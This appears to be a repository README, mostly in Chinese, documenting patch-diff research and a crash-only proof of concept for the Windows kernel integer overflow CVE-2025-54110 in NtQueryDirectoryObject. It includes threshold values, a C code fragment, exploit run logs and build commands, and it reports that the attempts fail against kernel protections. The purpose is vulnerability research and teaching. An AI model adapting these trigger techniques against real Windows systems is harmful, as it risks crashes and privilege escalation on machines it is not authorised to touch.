CVE-2025-54110-Kernel-EoP-PoC

CVE-2025-54110 利用代码实现——Windows NtQueryDirectoryObject 系统调用中的内核级整数溢出漏洞。

CVE-2025-54110 - Windows 内核整数溢出分析

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

本仓库包含针对 CVE-2025-54110 内核权限提升漏洞的仅崩溃 PoC，专为安全研究、逆向工程和利用开发研究而开发。该代码旨在演示漏洞研究技术，包括：

• 使用 Ghidra 版本跟踪进行二进制差异对比
• Windows 补丁星期二分析
• 内核漏洞研究方法论
• 结构化异常处理 (SEH) 行为分析

此 PoC 不会实现权限提升或可靠的蓝屏死机 (BSOD)。它设计用于安全触发访问违例，这些违例会被 Windows 内核保护机制捕获。

概述

CVE-2025-54110：Windows 内核权限提升漏洞

发布日期： 2025 年 9 月（Windows 星期二安全补丁）

执行摘要

Windows 内核中的一个整数溢出漏洞允许经过身份验证的攻击者在本地提升权限。根据微软的安全公告：

"攻击者可以通过从沙盒用户模式进程发送特制的输入来利用此漏洞，触发整数溢出，导致内核中的缓冲区溢出，从而实现权限提升或沙盒逃逸。"

潜在影响

• 成功的攻击者可能获得 SYSTEM 权限
• 从用户模式受限进程中的沙盒逃逸
• 内核内存损坏，导致代码执行

可利用性评估

• 公开披露： 否
• 在野利用： 否
• 微软评估： 更可能被利用

研究方法

1. 补丁分析工作流```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

### 2. 已分析的文件

初步分析聚焦于两个主要的内核组件：

#### win32k.sys (-)
- **结果：** 未检测到显著变化
- **评分范围：** 0.97-1.0（高相似度）
- **结论：** 不是 CVE-2025-54110 的易受攻击组件

#### ntoskrnl.exe (+)
- **结果：** 多个函数发生了显著变化
- **评分范围：** 函数评分 ≤0.951
- **长度差异：** 检测到源与目标字节长度变化
- **导出的总项数：** 2,036 个函数用于分析

### 3. Ghidra 版本跟踪结果

在 `ntoskrnl.exe` 中识别出的变化示例：

| 评分 | 置信度 | 源长度 | 目标长度 | 源函数 | 目标函数 |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## PoC 声明

### 技术方法

该 PoC（`precise_overflow_bsod.c`）试图通过以下方式触发整数溢出漏洞：

1. **精确阈值计算：** `0xfffffdbc`（源自 base=0x20, name=0x200）
2. **NtQueryDirectoryObject API：** 用于触发溢出的目标函数
3. **多阶段攻击策略：**
   - 阶段 1：精确整数溢出尝试
   - 阶段 2：内核内存定位
   - 阶段 3：多线程利用

### 代码结构```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

已测试的利用向量```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

---

## 为什么该PoC不会导致系统崩溃

### 实际结果

该PoC一致返回 `STATUS_ACCESS_VIOLATION (0xC0000005)`，而不会导致蓝屏死机（BSOD）。这是**设计使然**，并展示了多个关键的Windows内核安全机制：

### 1. 结构化异常处理（SEH）```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

工作原理：

• Windows内核系统调用将用户模式指针访问包装在异常处理程序中
• 无效的内存访问会被捕获，而不是允许传播
• 系统向调用者返回错误代码而不是崩溃

2. SMAP（监督模式访问阻止）

现代CPU功能，防止内核模式（Ring 0）在未经明确授权的情况下访问用户模式（Ring 3）内存：``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

**Impact on PoC:**
- 即使发生溢出，内核到用户内存的直接访问也会被阻止
- 防止利用指针解引用漏洞

### 3. KASLR（内核地址空间布局随机化）```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

为什么BSOD不会发生：

• PoC使用静态地址/阈值
• 真实内核结构位于随机化地址
• 写入操作错过关键目标（例如EPROCESS、Pool Headers）

4. 内核池完整性检查

Windows 10+ 实现了增强的池损坏检测：``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

---

## 概念验证执行输出分析

### 预期输出

看到 `STATUS_ACCESS_VIOLATION (0xC0000005)`，然后就是正常的。```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>

Verbossed Experiment```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

### 观察到的行为```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

状态码： 0xC0000005 = STATUS_ACCESS_VIOLATION

含义说明

按目标划分的成功标准```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

---

## 教育价值

### 该PoC演示的内容

#### 成果

1. **补丁差异分析方法**
   - 使用Ghidra对比补丁前后的二进制文件
   - 通过版本追踪识别修改后的函数
   - 分析基于评分的相似性指标

2. **Windows内核架构**
   - 理解系统调用流程（`NtQueryDirectoryObject`）
   - 识别内核/用户模式边界
   - 学习NTAPI内部函数

3. **安全机制行为**
   - SEH实战：异常被捕获与系统崩溃对比
   - SMAP防止未授权内存访问
   - KASLR阻止静态地址利用

4. **漏洞研究流程**
   - CVE分析与信息收集
   - 二进制变更的逆向工程
   - 通过受控利用尝试进行假设验证

#### 局限性

1. **现代内核防护机制有效**
   - 简单的溢出尝试不足
   - 必须绕过多层防御
   - 静态分析无法单独预测可利用性

2. **理论与实践之间的差距**
   - 整数溢出存在（理论上）
   - 实际利用需要：
     - 信息泄露（泄漏内核地址）
     - 堆整形/Feng Shui
     - ROP链或其他代码执行原语
     - 绕过DEP、CFG、HVCI等

---

## 分析优先函数

根据CVE-2025-54110的特征（整数溢出→内核中的缓冲区溢出），请优先审查导出的CSV中处理以下内容的函数：

### 高优先级类别```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

针对2,036个函数的筛选策略

步骤1：基于分数的筛选``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

**第2步：关键词搜索**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

步骤 3：交叉引用分析``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

**步骤 4：变化幅度**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

构建与运行

前提条件```

• Windows 10/11 (x64)
• Visual Studio 2019+ or MinGW-w64
• Administrator privileges (for syscall access)

### 编译```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

[No input content provided to translate.]```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

### 执行```powershell
# Run with admin privileges
.\poc64.exe

预期输出：``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

---

## 资源与参考

### 官方来源

- [Microsoft 安全公告 - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: 整数溢出或回绕](https://cwe.mitre.org/data/definitions/190.html)
- [Windows 内核内部 - Microsoft 文档](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### 研究工具

- [Ghidra - NSA 软件逆向工程套件](https://ghidra-sre.org/)
- [WinDbg - Windows 调试工具](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### 相关阅读

- [内核漏洞利用开发](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows 内核漏洞利用](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [使用 Ghidra 进行补丁对比](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## 法律免责声明

此代码仅供教育目的使用。

请勿将此代码用于：

• 未经授权访问计算机系统

• 恶意攻击或破坏

• 任何非法活动

作者对滥用行为不承担任何责任。
用户必须遵守所有适用法律。

**使用此代码即表示您确认：**

1. 您已获得在目标系统上进行测试的授权
2. 您了解您所在司法管辖区的法律影响
3. 您对自己的行为承担全部责任
4. 这是为了学习，而非恶意活动

---

## 法律免责声明
此仓库严格用于在受控实验室环境中的教育、防御性安全研究和漏洞复现目的。
信息和概念验证代码旨在帮助防御者、研究人员和供应商理解并修复所报告的漏洞。
未经明确许可，将此代码用于对系统的未经授权或恶意使用可能违反适用法律法规。
作者不鼓励或纵容非法活动，并且对因使用本材料造成的滥用或损害不承担任何责任。

此漏洞披露报告提供用于：
1. 安全研究与教育
2. 供应商通知和补丁开发
3. 最终用户保护
4. 学术与防御性安全目的

**禁止用途：**
- 未经授权访问计算机系统
- 恶意利用
- 任何非法活动

研究人员在受控环境中对个人拥有的系统进行了所有测试。未对第三方系统进行未经授权的访问。

**报告版本：** 1.0  
**最后更新：** 2026年2月9日

---

## 联系方式

针对合法的安全研究咨询或教育合作：

**负责任披露：**
- 与此 PoC 相关的安全问题 → 打开 GitHub Issue
- 真实的 CVE-2025-54110 利用 → 向 [MSRC](https://msrc.microsoft.com/) 报告

---

## 许可证```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.